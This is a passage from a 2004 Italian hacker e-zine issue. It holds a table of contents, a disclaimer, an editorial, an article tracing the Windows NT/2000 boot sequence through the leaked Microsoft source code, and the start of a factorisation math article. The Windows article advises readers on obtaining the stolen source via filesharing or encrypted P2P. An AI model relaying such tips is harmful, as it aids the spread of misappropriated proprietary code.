__ ___ __ _ __ ___ __ _ | _/ _ \_ | _ __ __| | __ _| _/ _ \_ |_ _ __ _ __| |_ __ __ _ | | | | | || '_ \ / _` |/ _` | | | | | | | | |/ _` |/ _` | '__/ _` | | | |_| | || | | | (_| | (_| | | |_| | | |_| | (_| | (_| | | | (_| | | |\___/| ||_| |_|\__,_|\__,_| |\__\_\ |\__,_|\__,_|\__,_|_| \__,_| |__| |__| |__| |__| .:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] .: [O]nda[Q]uadra [OQ20040615 0X0C] :: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :: http://www.ondaquadra.org :: :: info(at)ondaquadraorg - articoli(at)ondaquadraorg :: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: "Tutto nel ciberspazio e' scandito dalla squarewave dei micro-processori Il clock dei micro e' come un battito cardiaco elettronico..." .:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] .: [O]nda[Q]uadra [OQ20040615 0X0C] :: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :: 0x00 [L0GiN] OQ NU0V0 C0RS0 [oq~staff] :: :: 0x01 [C0DiNG] UNDERSTANDiNG WiN 2K S0URCES - PARTE 1 [AndreaGeddon] :: :: 0x02 [C0DiNG] MET0D0 DELLE CURVE ELLiTTiCHE PER LA :: :: FATT0RiZZAZi0NE Di NUMERi iNTERi [binduck] :: :: 0x03 [C0DiNG] C0LLiSi0N DETECTi0N [darko] :: :: 0x04 [C0DiNG] EASY ASSEMBLY MiSSi0N - PARTE 2 [spectrum] :: :: 0x05 [CRYPT0] iNTR0DUZi0NE Ai ViRUS CRiTT0GRAFiCi [MiMMuZ] :: :: 0x06 [ELECTR0] iNTR0DUZi0NE ALL'ELETTR0NiCA [master^shadow] :: :: 0x07 [SECURiTY] ELEMENTARE WATS0N! [eazy] :: :: 0x08 [SECURiTY] PSEUD0 R00TSHELL WiTH iCMP_RCV() H00KiNG #2 [Evil] :: :: 0x09 [SECURiTY] ViRTUAL PRiVATE NETW0RK 0VER 0NE-TiME PAD [lesion] :: :: 0x0A [SHUTD0WN] THEY'RE KiLLiNG iNTER-RAiL [inquis] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :: LEGAL DISCLAIMER :: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Nessuna persona dello staff di OndaQuadra si assume responsibilita' per l'uso improprio dell'utilizzo dei testi e dei programmi presenti nella e-zine, ne' per danni a terzi derivanti da esso. OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni effettuate con la legge 23 dicembre 1993, n. 547 ed in particolare agli artt. 615-quater- e 615-quinques-. Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come avvengono le tecniche di intrusione al fine di far comprendere come sia possibile difendersi da esse, rendere piu' sicura la propria box e in generale approfondire le proprie conoscenze in campo informatico. I programmi allegati sono semplici esempi di programmazione che hanno il solo scopo di permettere una migliore comprensione di quanto discusso e spiegato nei testi. Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex art. 1 e pertanto non inclusa nella previsione dell'art. 5 della legge 8 febbraio 1948, n. 47. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :: COSTITUZIONE DELLA REPUBBLICA ITALIANA :: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Diritti e doveri dei cittadini: Rapporti civili Articolo 21 Tutti hanno diritto di manifestare liberamente il proprio pensiero con la parola, lo scritto e ogni altro mezzo di diffusione. [...] ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0C] OQ20040615[0C] :: :: [0x00][L0GiN] OQ NU0V0 C0RS0 [oq~staff] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: From: "trtms" it> To: com> Sent: Monday, May 19, 2003 11:31 PM Subject: Re: [ondaquadra] /me perplesso [...] la nuova oq sara' una ezine radicale, lontana dal conformismo, dal mainstream dell'hacking, dalla banalita'/ipocrisia del movimento open-source. sara' posizionata stilisticamente in un'area vicina alle avanguardie del '900 e scivolera' verso il situazionismo passando per la beat-generation: marinetti-ginsberg-bey. piu' luther blisset e meno linus gates (bill torvalds) :> oq incoraggera' azioni di Terrorismo Poetico e Sabotaggio Artistico; porra' l'accento sull dandismo dell'hacking e l'uso delle tecnologie per rendere migliore la vita di tutti e raggiungere la liberta' in tutte le dimensioni. alla base di tutto un forte senso di solidarieta', condivisione, vicinanza agli emarginati e ai poveri. su tutto l'Utopia Pirata. Su oq sventolera' la bandiera pirata (jolly roger). [...] alla nuova oq piace l'ombra nn la luce; preferisce il Vuoto al Pieno. saluti ===== trtms(at)yahooit "Anche il Vuoto possiede un ritmo" (Miyamoto Musashi) Key fingerprint = 1B35 1996 2540 8727 CD88 802C FD26 446C 5591 EB27 Nota: La mailinglist hmoq(at)yahoogroupscom e' stata soppiantata dall'attuale mailinglist pubblica del progetto, http://ml.ondaquadra.org. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0C] OQ20040615[0C] :: :: [0x01][C0DiNG] UNDERSTANDiNG WiN 2K S0URCES - PARTE 1 [AndreaGeddon] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :: INTRO :: Questo e' il primo di una serie di articoli nei quali verra' trattato un po' in dettaglio il kernel di windows 2000. In particolare Faremo qualche riferimento ai sorgenti trafugati e diventati ormai di pubblico dominio. Per motivi che ovviamente capirete non potro' riportare il codice direttamente in questo articolo, ma faro' precisi riferimenti ai file che descrivero', in questo modo se avete i sorgenti vi sara' facile seguire il discorso. :: REQUISITI :: Beh prima di tutto sarebbe bene che aveste i sorgenti di cui parlavamo poco fa, se non li avete potete lo stesso leggere l'articolo che avra' comunque un'impronta abbastanza generica. In secundis, dovete avere delle conoscenze di base sull'architettura hardware x86, infatti qui non trattero' in dettaglio cose come la IDT etc, per cui manuali intel alla mano, studiate! In ultmo si suppone che abbiate delle conoscenze di base sull'architettura di un sistema operativo, cioe' che sappiate cosa e' un file system, cosa e' uno schedluer etc. Detto questo possiamo proseguire. :: BIBLIOGRAFIA :: Ecco alcuni testi che vi consiglio sull'argomento: The Windows 2000 Device Driver Book - Art Baker, Jerry Lozano Inside Windows 2000 - Russinovich, Solomon (sysinternals) Windows driver model - Oney Windows NT Native Api - Gary Nebbett Undocumented Windows NT - Dabak, Phadke, Borate Windows NT File SYstem Internals - Nagar Windows NT Device Driver Development - Viscarola :: INIZIAMO A RACCAPEZZARCI :: La fuga dei sorgenti risale ai primi dieci giorni di febbraio 2004, la diretta responsabile e' stata la Mainsoft, partner di vecchia data della casa Microsoft. Il contesto del furto non e' ben chiaro. Partiamo dall'inizio, ovvero: dove trovo questi sources? Beh qui dovete arrangiarvi, potete cercare nei circuiti di filesharing, oppure in qualche ftp privato. Sinceramente vi sconsiglierei di farlo, meglio se ve li fate mandare di persona da qualcuno che gia' li ha, oppure se volete usare circuiti pubblici almeno usate qualche p2p crittografato. Quante versioni ci sono? Beh girano tantissime fake, cmq le versioni sono solo due: una sono i sorgenti di windows nt4 e l'altra sono quelli di windows 2000 sp1. Qui faremo riferimenti a win2k, ma cmq e' bene avere anche quelli di nt4, infatti sono molto diversi contengono alcune cosette in piu'. Chiaramente la base e' sempre la stessa, per cui i discorsi che affronteremo qui valgono anche per win xp e 2003. Sono sorgenti completi? Non in senso stretto. C'e' il kernel, le varie dll userspace (vedi in seguito), persino il solitario! L'unica vera mancanza e' la parte relativa a ntfs, che e' gestita dal relativo driver non presente nei sorgenti, e la mancanza di tutta la gdi. In generale diciamo che la parte interessante, cioe' il kernel, e' completa, quello che manca e' una piccolissima parte. Posso quindi ricompilare il tutto? No. Nei sorgenti non sono presenti alcuni include e definizioni senza i quali non e' possibile ricompilare. Ho chiesto anche a Xoanon, (che colgo l'occasione per salutare) e lui mi ha confermato che forse il kernel in se' potrebbe essere ricompilabile con l'aiuto dell'ifs kit, ma tutta la parte delle dll non e' possibile ricompilarla. Io ho fatto alcune prove ma senza successo, e al momento in cui scrivo non ho notizie di kernel ricompilati o cose simili. Se avete notizie in merito oppure se siete riusciti a fare qualcosa di concreto fatemi sapere :) A cosa servono questi sorgenti? Beh non a tantissimo direi. Servono per lo piu' come documentazione agli sviluppatori di driver o emulatori. In effetti questo pacchetto di sorgenti fa parte del programma WISE di MicroSoft (Windows Interface Source Environment), che e' un programma mirato a permettere agli sviluppatori di integrare soluzioni Windows Based in sistemi Unix e Macintosh. Ma e' vero che la diffusione dei sorgenti e' un pericolo per la sicurezza? Assolutamente no, tutti gli advisor sono stati alquanto paranoici (ed ignoranti) in merito. In effetti al momento in cui scrivo sono passati circa due mesi e non si hanno notizie di exploit gravi derivati dall'analisi dei sorgenti. Come e' scritto il codice, e con cosa lo compilano? Il kernel e' scritto tutto in C (non C++) ed in piccole parti in asm, quelle relative all'hw. Il codice applicativo e' scritto invece maggiormente in C++. Ovviamente la progettazione del kernel e' stata fatta con una mentalita' object oriented, sebbene il codice sia scritto in C. Il codice si compila con il visual studio, ovviamente non quello commerciale ma una versione appositamente modificata (che ovviamente hanno solo loro). La diffusione di questi sorgenti cosa cambiera' a livello di hackers, programmatori, utenti finali etc? Niente. Chi sviluppa driver ha gia' delle ottime conoscenze in merito, conoscenze che finora erano derivate per lo piu' da documentazioni di terze parti. Certo i sorgenti arricchiranno ancora di piu' le documentazioni gia' presenti, ma comunque chiunque si trovi in questo campo e' abituato al reverse engineering, per cui probabilmente quello che gli interessava del kernel se l'e' gia' studiato dal disassemblato. Non tutti sanno infatti che Microsoft mette a disposizione i simboli di debug di ogni modulo di windows, in modo che nel disassemblato un codice come mov [0x11223344], eax push 0x22334455 call 0x77889900 risolto tramite i simboli di debug diventi una cosa tipo: mov [_TickCount], eax push _dwSeconds call _GetTime in pratica una volta risolti tutti i nomi il passo dall'assembler al C e' molto breve. Non c'e' molta differenza tra leggere il codice qui sopra e il relativo codice c: TickCount = ...blabla...; GetTime(dwSeconds); In pratica, windows E' opensource, basta saper leggere l'assembler :P. Basta prendere come esempio Matt Pietrek che del vecchio windows 95 aveva riscritto molte cose in pseudocodice partendo dal reversing del kernel. L'unico passo avanti concreto che vedremo sara' negli emulatori di win su piattaforme linux, per il resto la eco del windows source leak si e' gia' spenta. Detto questo abbiamo una overview generale dell'argomento. E' ora di scendere nei dettagli! :: ORGANIZZAZIONE SORGENTI :: Se non volete perdervi nel mare di righe di codice sara' meglio fare una mappa dei vari componenti. Innanzitutto vediamo 3 directory principali, \bsc, \private, \public. La prima contiene i dati per glimpse per il search engine, l'ultima contiene l'sdk e l'oak. Sono entrambe di scarsa utilita'. Quello che serve e' la \private, sede di tutto il codice. Nei sorgenti di nt4 e' presente solo \private. Ora la \private come potrete notare e' bella grossa, quindi non ve la posso commentare tutta. Vediamo invece di farci una "cartina topografica" dei vari componenti: modulo: ntoskrnl.exe locazione: \private\ntos descrizione: il kernel di win2k, l'equivalente del bzImage di linux modulo: ntdll.dll locazione: \private\ntos\dll descrizione: gateway per le transizioni um->km (syscalls) modulo: kernel32.dll locazione: \private\windows\base\client descrizione: la parte usermode del kernel di windows modulo: user32.dll locazione: \private\ntos\w32\ntuser\client descrizione: modulo per varie utilita', tipo creazione finestre, manipolazione testo etc modulo: advapi32.dll locazione: \private\windows\screg\winreg descrizione: api per il registry questi sono i principali componenti, anche se noi ci concentreremo al 90% sul kernel. In \private\windows\shell\ trovate i source di regedit, del taskmanager, giochi e applicazioni varie. Ci sono anche i source di altre dll come comdlg32 etc. Le cose gravi che mancano sono: ntfs.sys - driver che gestisce ntfs gdi32.dll - libreria per le funzioni grafiche di base nella versione dei source di 2k manca anche il bootloader, presente invece nei sorgenti per nt4, precisamente nella directory \private\ntos\boot ci sono rispettivamente il bootsector, ntloader, ntdetect, setup loader ognuno in una propria sottodirectory. In particolare c'e' il bootsector relativo a ogni fs, compreso ntfs. Tornando ai sorgenti di win 2k troviamo parte del codice relativo alla rete in \private\inet cioe' parte del codice di ie (mshtml), urlmon, wininet. Detto questo abbiamo una idea generale della struttura del source, se cercate altre cose non menzionate non vi sara' difficile trovarle, magari usate un buon grep :) :: SI PARTE DAL BOOT :: Ok e' ora di iniziare a toccare con mano il codice. Uhm da dove possiamo partire? Dal boot? Vada per il boot. Come visto sopra dobbiamo andare a cercare nella directory \private\ntos\boot. Il bootsector vero e proprio sta nella subdir \bootcode, nel quale ci sono diversi source rispettivi a diversi file system. Prima di tutto vediamo che il punto di partenza e' il source in \mbr, cioe' il codice fisico che risiedera' nel master boot record. E' il primissimo pezzo di sistema operativo che viene eseguito al boot subito dopo il codice del bios (x86mboot.asm). Come leggete dai commenti e' il codice STANDARD per ogni pc, cioe' il codice legge la partition table alla fine del master boot record, trova la partizione marcata come bootabile, ne copia il bootsector in memoria e lo esegue. Il mbr infatti e' fatto in questo modo: +------------+ -- MBR -- | BootCode | Executable Code | Partition1 | PartitionTable | Partition2 | | Partition3 | | Partition4 | +------------+ -- END MBR -- | Partition1 | Partizioni | | . . . . Quindi il bootcode non fara' altro che rilocarsi all'indirizzo 0:0600, saltare al codice rilocato, leggere l'entry bootabile della partition table, copiarne il bootsector all'indirizzo std di boot (0:7C00), ed infine eseguirlo, cosi' e' come se il bios avesse bootato direttamente la partizione bootabile descritta nella partition table. Uhm notate che in x86mboot.asm alla riga 48 dopo che il codice si auto-reloca all'indirizzo 0:0600 poi per saltarci usa un jmp far encodato a mano, cioe' i byte che vedete db 0EAh db ...blabla... sono i byte relativi all'opcode dell'istruzione jmp 0:0600, il cui address viene risolto a compile time. Ritroverete questo jump scritto a mano anche quando trovato il sector bootabile, il codice saltera' di nuovo all'address 0:7C00 per bootare il bootsector. A questo punto il bootcode cambia, infatti nella sottodirectory ntos\boot\bootcode\ oltre che \mbr troviamo altre directory, ognuna relativa a un fs: \etfs Electronic Tariff Filing System \fat fat32 per la precisione \hpfs Pinball File System (per OS2) \ntfs il fs nativo di nt \ofs cucu'! La direcotry e' vuota! In realta' sono supportati fat e ntfs, ed e' altamente sconsigliabile installare win nt su una partizione fat32. Ora possiamo concentrarci sul bootsector relativo a ntfs, gli altri funzionano allo stesso modo. Il compito di questo pezzo di codice (ntfsboot.asm) e' semplicemente quello di leggere il file ntldr, mapparlo in memoria all'indirizzo 2000:0000 e poi eseguirlo. Notate che siamo ancora in real mode per cui tutto il codice e' ancora a 16 bit. Come vediamo questo codice e' un po' troppo e non ci sta tutto nei 512 bytes del primo settore: infatti il bios mappa il primo settore del disco (traccia 0, testina 0, settore 1) in memoria all'indirizzo fisico 7C00. Ora in realta' qui non e' stato il bios a mappare in memoria il primo settore della partizione bootabile ma e' stato il codice del mbr. Perche' allora tale codice non mappa tutto il codice necessario (che per l'ntfsboot e' piu' grande di 512 bytes)? Ovviamente per compatibilita' con altri sistemi operativi. Ecco quindi che il ntfsboot appena mappato ha subito il problema di doversi mappare tutto il resto del codice. Ed infatti il codice inizia a leggere dal disco dal primo settore tutto il bootsector e lo riloca all'address 0D00:0000, cosi' avremo in memoria a quell'indirizzo sia il bootsector che i settori successivi che contengono il codice che serve. Una volta letto e mappato il codice, salta all'indirizzo 0D00:0200, cioe' al secondo settore letto dal disco (il primo e' gia' stato eseguito e non serve piu'). Questo si trova all'indirizzo fisico D200, al di sotto dell'indirizzo fisico 20000h dove verra' mappato il file ntldr, quindi niente problemi di interferenza. Di nuovo vediamo che il salto al nuovo codice rilocato avviene (alla riga 165) con una forma: push seg push offset ret sembra che abbiano problemi a scrivere in assembler i jmp far! Vabbe' niente di rilevante. Quindi ora l'esecuzione si sposta al secondo settore alla procedura mainboot. Prima di questa procedura nel codice vediamo alcuni dati e la signature "55AA" che sta alla fine del primo settore. La mainboot procedure fa la lettura vera e propria del file ntldr (potete vedere molte funzioni usate per leggere da ntfs), e alla fine restituisce l'esecuzione all'immagine in memoria di ntldr che come abbiamo gia' detto si trova a 2000:0000. I bootsector relativi agli altri tipi di file system agiscono allo stesso modo, cambia solo il codice che legge il file dal disco. Adesso quindi ci dobbiamo spostare sul codice di ntldr. Notate che finora non si e' ancora fatto nulla delle inizializzazioni standard, tipo settare il paging, il protected mode etc etc. Siamo ancora in realmode, quindi ntldr iniziera' la sua esecuzione a 16bit e poi fara' il passaggio al protected mode e quindi ai 32 bit. Okay quindi ora ci dobbiamo spostare al file \ntos\boot\startup\i386\su.asm vi ricordo che siamo sempre nei source di nt4. Vediamo che la prima riga consiste in un jmp RealStart. Tra questo jmp e la routine stessa vediamo del codice riguardante FAT. Se infatti si e' bootato il sistema da FAT32 allora il codice deve ancora occuparsi di leggere ntldr e mapparlo in memoria prima di eseguirlo. Nel nostro caso stiamo considerando ntfs per cui non ci interessa. La routine RealStart non fa altro che preparare i segmenti e lo stack e poi passare l'esecuzione alla procedura SuMain che si trova nel file \ntos\boot\startup\i386\main.c finalmente ci spostiamo su un po' di codice C. Tenete comunque a mente il file su.asm perche' esporta la funzione di enabling del protected mode che vedremo fra poco. Questa procedura inizializza il subsystem video (InitializeVideoSubSystem in display.c), spegne il motore del floppy in caso il sistema e' stato bootato da floppy (TurnMotorOff in su.asm), fa altri lavori di inizializzazione, tipo calcolare il size della memoria necessaria per l'os loader, quindi dopo questa robaccia arriva al punto cruciale: il passaggio a 32bit! Infatti vediamo che il codice abilita la linea A20 (EnableA20 in a20.asm), reloca le strutture IDT e GDT che dovra' usare in protected mode. Quindi e' l'ora di settare il pm ed il paging (EnableProtectPaging in su.asm). Da notare che il paging non verra' abilitato alla prima volta che si esegue questa procedura, in quanto lo startup loader non ha ancora determinato un descrittore valido per PDE e PTE. L'abilitazione al paging verra' fatta all'inizio dell'os loader, codice che vedremo tra poco. In particolare vediamo che imposta anche il selettore per il PCR nel segmento FS, cioe' il Processor Control Region, una struttura fondamentale del kernel, quindi ci aspettiamo che presto il codice andra' a finire al modulo ntoskrnl. Inoltre sono impostate le aree di memoria relative a IDT e GDT mentre la LDT e' azzerata, infatti nt non la usa mai al contrario di consumer windows. Quindi il switch in pm avviene tramite mov eax, c30 ... (la prima volta evita l'abilitazione del paging) or eax,PROT_MODE mov cr0,eax pero' non abbiamo ancora finito tutto il passaggio a 32 bit, per ora il codice sta impostando i segmenti, le strutture e il descrittore TSS. Il controllo ritorna alla procedura SuMain, che chiama la funzione RelocateLoaderSections per calcolare l'indirizzo corretto al quale si trova l'entry point dell'os loader. Questo infatti e' un coff PE valido, ovviamente embedded dentro l'ntldr, quindi lo possiamo considerare il primo vero processo che windows esegue. Il passaggio dell'esecuzione all'os loader avviene tramite la funzione TransferToLoader usando come entry point l'address appena calcolato con la precedente funzione di reloc. Quindi ora ci spostiamo nella directory \ntos\boot\lib\i386 dove ci sono i vari file che ci interessano. In particolare nel file entry.c c'e' l'entry point del suddetto PE, identificato dalla funzioncina NtProcessStartup. Analizziamola e vediamo che DoGlobalInitialization e' la prima funzione ad essere chiamata. Anche qui vediamo la prima funzione chiamata, cioe' la InitializeMemorySubsystem. Parentesi: molte funzioni usano come parametro il BootContextRecord, potete vederne la dichiarazione in bootx86.h (struttura _BOOT_CONTEXT). Torniamo alla funzione InitializeMemorySubsystem nel file memory.c. In questo file ci troviamo anche una mappa della memoria (immagini dei componenti e relativi stacks / heaps) che ci possono sempre tornare utili. Questa funzione ha subito un while che cicla per tutti MemoryDescriptor che si trovano nel BootContextRecord. Ogni memory descriptor infatti e' una struttura con due campi, BlockBase e BlockSize, descrivono l'indirizzo di partenza di un'area di memoria e la sua grandezza. Quindi BootContext->MemoryDescriptorList e' un array di memory descriptor che appunto descrivono tutti i blocchi di memoria che servono. Tenete a mente che siamo in protected mode ma senza il paging abilitato, per cui in questo momento ogni indirizzo che usiamo corrisponde ad un indirizzo fisico! Ecco quindi che questo while prepara gli indirizzi di memoria (rispettando il page boundary) per tutti i blocchi di memoria gia' noti. Il loader non utilizza la memoria al di sopra di 16 mega (per non dover gestire i data transfer dai bus isa), quindi tutta quella al di sopra dei 16 mega viene marcata come MemoryFirmwareTemporary. Una volta finito il while, tutta la memoria fisica e' stata descritta (con le funzioni MempAllocDescriptor e MempSetDescriptorRegion), l'array di descrittori e' mantenuto nella variabile globale MDArray[] (definita in arcemul.c). Adesso sono stati creati dei "macro" descritttori che descrivono sommariamente la memoria fisica, quindi dopo il while c'e' il codice che si occupa di descrivere il primo mega di memoria. Infatti qui ci sono tutti i componenti di memoria utili al loader, come la interrupt vector area, heaps di sistema ecc. Notate che il primo mega di memoria virtuale coincidera' con il primo mega di memoria fisica, per permettere allo osloader di continuare l'esecuzione sotto il primo mega e di mappare la memoria dedicata al kernel. Sempre tramite MempAllocDescriptor vediamo che dall'MDArry iniziale vengono ricavati dei sotto-descrittori per le aree di memoria sotto il mega. Finito tutto questo lavoro di creazione di descrittori, finalmente giungiamo alla MempTurnOnPaging! Questa funzione non fa altro che fare un walk dell'MDArray in modo da chiamare la funzione MempSetupPaging con la quale vengono create le entry per le PDE\PTE per tutta la memoria necessaria che si e' calcolata pocanzi. Le variabili globali sono PDE per la PDE e HalPT per la PTE. Una volta fatto il walk dei memory descriptors, la PDE\PTE e' stata impostata correttamente, quindi la funzione MempTurnOnPaging abilita il paging: mov eax,PDE mov cr3,eax mov eax,cr0 or eax,CR0_PG mov cr0,eax e' la prima volta che avviene da quando abbiamo bootato! Come vedete nel page directory base register (CR3) viene impostato il ptr all'array di PDE, quindi in CR0 viene abilitato il flag relativo al paging. Ok, dopo l'abilitazione la funzione InitializeMemorySubsystem chiama MempCopyGdt per spostare la GDT e IDT in una nuova area di memoria. Ok la funzione e' finlamente finita e torniamo a DoGlobalInitialization. Vediamo che c'e' qualche altra robaccia ed infine la chiamata alla funzione InitializeMemoryDescriptors, che come vediamo dai commenti sarebbe il passo 2 della InitializeMemorySubsystem. Infatti prima sono state create le PDE\PTE per passare al paging, ora questa funzione si occupa di tornare nell'MDArray e allocare la memoria per tutti i descrittori che avevano marcato la memoria come "reserved". Fatto cio' abbiamo finito anche la DoGlobalInitialization. Back to the NtProcessStartup, abbiamo qualche funzione di inizializzazione, che si occupano di trovare la partizione da cui abbiamo bootato, di inizializzare la memoria di sistema e l'I/O system, quindi arriviamo a BlStartup. Vediamo che subito dopo c'e' un codice // we should never get here! do { GET_KEY(); } while ( 1 ); il che vuol dire che il compito di ntldr termina dentro la funzione BlStartup, che si trova nel file initx86.c nella directory \ntos\boot\bldr\i386 cosa fa questa funzione? Si occupa di aprire il drive e leggere il file boot.ini, dove sono definite tutte le entry bootabili. Tali entry sono mostrate con il classico menu di scelta, quindi una volta selezionata l'entry da bootare l'os determina disco/partizione/path e arriviamo alla funzione BlOsLoader, che si trova nel file \ntos\boot\bldr\osloader.c ci siamo quasi, come vedete poco prima di questa funzione compaiono le definizioni dei nomi "ntoskrnl.exe" e "hal.dll", saranno questi i componenti che saranno caricati. Come vedete il codice e' commentato molto bene, per cui e' facile capire cosa succede: apre le partizioni di boot e di sistema, apre l'input/output console, inizializza la memoria con la funzione BlMemoryInitialize, presente nella directory \ntos\boot\lib nel file blmemory.c, dove sono inizializzati lo stack, l'heap e la memory allocation list. In questo caso l'unico memory descriptor che e' stato allocato e' quello relativo all'os loader, visto che non sono stati caricati altri programmi, per cui la funzione cerchera' il primo memory descriptor sotto l'os loader, poi alloca l'heap al piu' alto indirizzo possibile, alloca lo spazio per il loader parameter block, quindi il loader stack e il loader heap. Poi dopo la memory init vediamo altre inizializzazioni (i/o e resource section), quindi vediamo che c'e' la gestione dei parametri di boot che erano stati specificati nel boot.ini, infatti sono gestiti i parametri /KERNEL= /HAL= che permettono di specificare un kernel e un hal diversi da quelli di default, cosa che di solito torna utile quando si vogliono caricare dei checked environment per il driver testing. Fatto cio', genera i path dei due componenti e dell'hive di sistema, che vedremo tra poco. Il primo ad essere caricato e' ntoskrnl.exe con la funzione BlLoadImage, che appunto ne carica l'immagine eseguibile in memoria. Quindi il loader determina il tipo di fs usato e prende gli eventuali argomenti da passare al kernel. Ora e' il turno di hal.dll, anche lui caricato con la BlLoadImage. Vi ricordo che anche questi due moduli sono dei coff PE, infatti la funzione si trova nel file \ntos\boot\lib\peldr.c che non e' il pe loader completo, infatti poco dopo nel codice dello osloader viene usata la funzione BlScanImportDescriptorTable con la quale trova manualmente le dll importate dai moduli caricati e a sua volta le carica e fa il bind delle api import/export. Caricato il kernel, l'hal e tutti i relativi moduli importati, e' giunto il momento di caricare i driver. Per farlo deve consultare l'hive di sistema. Che cos'e' questo hive? Gli hive sono i file che contengono le informazioni gestite dal registry. In particolare ora ci occupiamo dell'hive \windows\config\system che contiene tutte le impostazioni dell' hardware e i relativi drivers. Caricati i driver c'e' la funzione BlSetupForNt che si occupa di fare alcune inizializzazioni hardware, tipo la relocazione dell'abios, del tss etc. Finalmente il loader ha finito il suo compito, e arriviamo alla riga (SystemEntry)(BlLoaderBlock); con la quale viene chiamato l'entry point del modulo ntoskrnl. Da adesso passiamo ai sorgenti di win2k, possiamo abbandonare quelli di nt4. L'entry point del kernel si trova nel file \win2k\private\ntos\ke\i386\newsysbg.asm ed e' la funzione KiSystemStartup che prende come argomento il loader block di cui si e' parlato qualche riga piu' su. Qui termina questa prima parte, abbiamo visto cosa fa il boot etc etc, siamo arrivati al kernel, nel prossimo articolo quindi vedremo l'inizializzazione del kernel e qualche altra roba. Alla prossima! See ya! AndreaGeddon com> www.andreageddon.com - www.reteam.org - www.quequero.org ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0C] OQ20040615[0C] :: :: [0x02][C0DiNG] MET0D0 DELLE CURVE ELLiTTiCHE PER LA :: :: FATT0RiZZAZi0NE Di NUMERi iNTERi [binduck] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Prima di passare al prossimo algoritmo per la riduzione in fattori primi di un numero, conviene spiegare alcuni concetti matematici e alcuni algoritmi che stanno alla base delle operazioni tra numeri interi composti da molte cifre. N.B. Questi sono solo riassunti basilari e molto semplici, che potete consultare per avere un idea delle nozioni che sono richieste negli articoli matematico-informatici. Per una completa visione di questi leggete testi di matematica e algoritmi. Mi raccomando ricordate che la matematica e' molto importante se volete tuffarvi nel campo della crittografia. Le implementazioni degli algoritmi presentati in questo articolo possono essere facilmente trovate in ogni libreria matematica per qualsiasi linguaggio di programmazione. 0] Notazione usata 1] Concetti fondamentali 1.1] Matematica 1.1.1] Strutture algebriche 1.1.2] Gruppo 1.1.3] Anello 1.1.4] Campo 1.1.5] Aritmetica modulare 1.1.6] Piccolo teorema di Fermat 1.2] Informatica 1.2.1] Calcolabilita' e complessita' di un algoritmo 1.2.2] Rappresentazione numerica di un messaggio 1.2.3] Rappresentazione di un messaggio in Zn 2] Algoritmi fondamentali 2.1] Test di primalita' e teorema di Fermat 2.1.1] Probabilistic primality test 2.2] Numeri random 2.2.1] Linear congruential method 2.3] Massimo comun divisore GCD 3] Elliptic Curve Method 0] + Somma - Sottrazione / Divisione * Moltiplicazione ^ Elevamento a potenza % Resto della divisione mod Modulo = Assegnamento == Uguaglianza > Maggiore < Minore >= Maggiore uguale <= Minore uguale /= Diverso |x| Valore assoluto di x ° Operatore di composizione [A1..Ax] Elementi da 1 a x => Allora <=> Se e solo se @ Per ogni E Appartenenza t.c. Tale che -] Esiste idA Identitita' in A log(n) Logaritmo in base due di n Log(n) Logaritmo in base dieci di n lim(x -> +inf) f(x) si legge: limite per x che tende a piu' infinito di f(x) GCD(a, b) Massimo comun divisore tra a e b LCM(a, b) Minimo comune multiplo tra a e b 1] Concetti fondamentali In questa sezione verranno spiegati in modo molto basilare alcuni concetti matematici necessari. 1.1.1] Strutture algebriche Dato un insieme A una operazione binaria interna e' una legge che ad ogni coppia del prodotto cartesiano AxA fa corrispondere univocamente un elemento di A. 1.1.2] Gruppi Un gruppo (G, *) ha un'operazione interna * ed e' un insieme che soddisfa le proprieta': -proprieta' associativa P @ a,b,c E G, (a*b)*c == a * (b * c) -ha l'elemento neutro @ a E G, uG * a == a * uG == a [dove uG e' l'elemento neutro] -ha l'inverso @ a E G, -] b E G t.c. a * b == b * a = uG Dato un gruppo (G, *) se a * b == b * a , @ a, b E G allora G e' un gruppo commutativo o gruppo abeliano. 1.1.3] Anelli Un anello (A, +, *) ha due operazioni interne una denotata additivamente e l'altra moltiplicativamente; gli anelli sono: -un gruppo abeliano rispetto alla somma [prima operazione] -il prodotto [seconda operazione] gode della proprieta' associativa -proprieta' distributiva a * (b + c) == a * b + a * c , (a + b) * c == a * c + b * c Un anello si dice commutativo se il prodotto [seconda operazione] gode della proprieta' commutativa. Se esiste un elemento neutro rispetto al prodotto allora l'anello ha un'identita'. 1.1.4] Campi Un campo (C, +, *) ha due operazione interne, come nel caso dell'anello una denotata additivamente e una denotata moltiplicamente. -C e' un gruppo moltiplicativo. -la seconda operazione e' distributiva rispetto alla prima. 1.1.5] Artimetica modulare L'aritmetica modulare studia i resti delle divisioni aritmetiche. X e' il divisendo, m e' il divisore, Q e' il quoziente e R e' il resto. (X mod m) = R si legge X modulo m e' uguale a R. Esempi: 5 mod 3 = 